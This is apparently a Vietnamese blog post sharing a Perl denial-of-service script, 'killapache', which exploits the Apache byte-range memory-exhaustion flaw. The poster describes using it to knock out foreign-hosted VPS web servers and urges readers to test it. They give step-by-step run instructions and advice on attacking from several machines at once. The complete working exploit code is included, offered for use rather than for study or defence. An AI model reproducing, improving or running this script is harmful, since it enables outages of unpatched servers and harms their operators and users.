code dos vào lỗ hổng apache của các máy chủ web. lỗ hổng này đã có bản vá tuy nhiên vẫn còn nhiều server chưa up bản vá. VPS của BYG,X,CEH đều dính lỗ hổng này, ko biết nhà cung cấp đã up bản vá chưa thì ko rõ
code này mình tìm thấy trên một site trang nước ngoài, về dùng thử mấy hôm bắn phá mấy thằng dùng VPS reg ở nước ngoài để chạy web thấy khá ngon, nên share cho a e test thử
Yêu cầu máy phải cài perl, IO::Socket và Parallel::ForkManager ( mấy cài này nhìn code là biết chắc ko cần phải nói)
giờ chỉ việc lưu code với file.pl và vào run perl file.pl victim(ip server or website)
ok thế là ngồi chờ nó chạy nếu nó báo
host seems vuln
ATTACKING victim [using 50 forks]
thế là đang tấn công rồi đó.
Còn nếu nó báo Host does not seem vulnerable thì có nghĩa là máy chủ ko dính lỗ hổng này
server mạnh quá thì a dùng mấy máy cùng attack tới 1 lần là ok
Cái này đã oánh dc là die cả server chứ ko chỉ mỗi một site
use Parallel::ForkManager; sub usage { print "Apache Remote Denial of Service (memory exhaustion)\n"; print "by Kingcope\n"; print "usage: perl killapache.pl <host> [numforks]\n"; print "example: perl killapache.pl www.example.com 50\n"; } sub killapache { print "ATTACKING $ARGV[0] [using $numforks forks]\n"; $pm = new Parallel::ForkManager($numforks); $|=1; srand(time()); $p = ""; for ($k=0;$k<1300;$k++) { $p .= ",5-$k"; } for ($k=0;$k<$numforks;$k++) { my $pid = $pm->start and next; $x = ""; my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; while(<$sock>) { } $pm->finish; } $pm->wait_all_children; print ":pPpPpppPpPPppPpppPp\n"; } sub testapache { my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; $x = <$sock>; if ($x =~ /Partial/) { print "host seems vuln\n"; return 1; } else { return 0; } } if ($#ARGV < 0) { usage; exit; } if ($#ARGV > 1) { $numforks = $ARGV[1]; } else {$numforks = 50;} $v = testapache(); if ($v == 0) { print "Host does not seem vulnerable\n"; exit; } while(1) { killapache(); }



No comments:
Post a Comment